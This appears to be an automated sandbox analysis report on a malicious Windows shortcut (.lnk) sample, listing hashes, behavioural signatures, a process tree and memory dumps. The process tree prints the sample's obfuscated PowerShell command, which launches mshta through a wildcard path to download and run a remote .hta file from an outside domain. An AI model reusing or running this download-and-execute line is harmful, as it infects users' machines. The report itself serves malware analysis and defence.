Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 01:35
Static task
static1
Behavioral task
behavioral1
Sample
6320c823373c9d7e46a0b07d3cf9182077591c62add5f7417490531f70467681.lnk
Resource
win7-20240220-en
windows7-x64
4 signatures
150 seconds
General
-
Target
6320c823373c9d7e46a0b07d3cf9182077591c62add5f7417490531f70467681.lnk
-
Size
1KB
-
MD5
4f3d62489ec58662e1acd166b626631f
-
SHA1
49d5d56e0d26f4be7591b92ca543c759aeb45b2a
-
SHA256
6320c823373c9d7e46a0b07d3cf9182077591c62add5f7417490531f70467681
-
SHA512
8064c7c760d491816bebd97d0417a78f2b5ba63e95ed3bbbb5f0ca9ed6c6a63f556e8ce8fdb05625f0f4c955973580a5a7d07d72d22da3b60d7ef12b88144883
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2536 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2536 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2924 wrote to memory of 2536 2924 cmd.exe powershell.exe PID 2924 wrote to memory of 2536 2924 cmd.exe powershell.exe PID 2924 wrote to memory of 2536 2924 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\6320c823373c9d7e46a0b07d3cf9182077591c62add5f7417490531f70467681.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://foundationforwomenshealth.com/rooming.hta'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2536-38-0x000007FEF610E000-0x000007FEF610F000-memory.dmpFilesize
4KB
-
memory/2536-39-0x000000001B550000-0x000000001B832000-memory.dmpFilesize
2.9MB
-
memory/2536-43-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmpFilesize
9.6MB
-
memory/2536-41-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmpFilesize
9.6MB
-
memory/2536-40-0x0000000002760000-0x0000000002768000-memory.dmpFilesize
32KB
-
memory/2536-42-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmpFilesize
9.6MB
-
memory/2536-44-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmpFilesize
9.6MB
-
memory/2536-45-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmpFilesize
9.6MB
-
memory/2536-46-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmpFilesize
9.6MB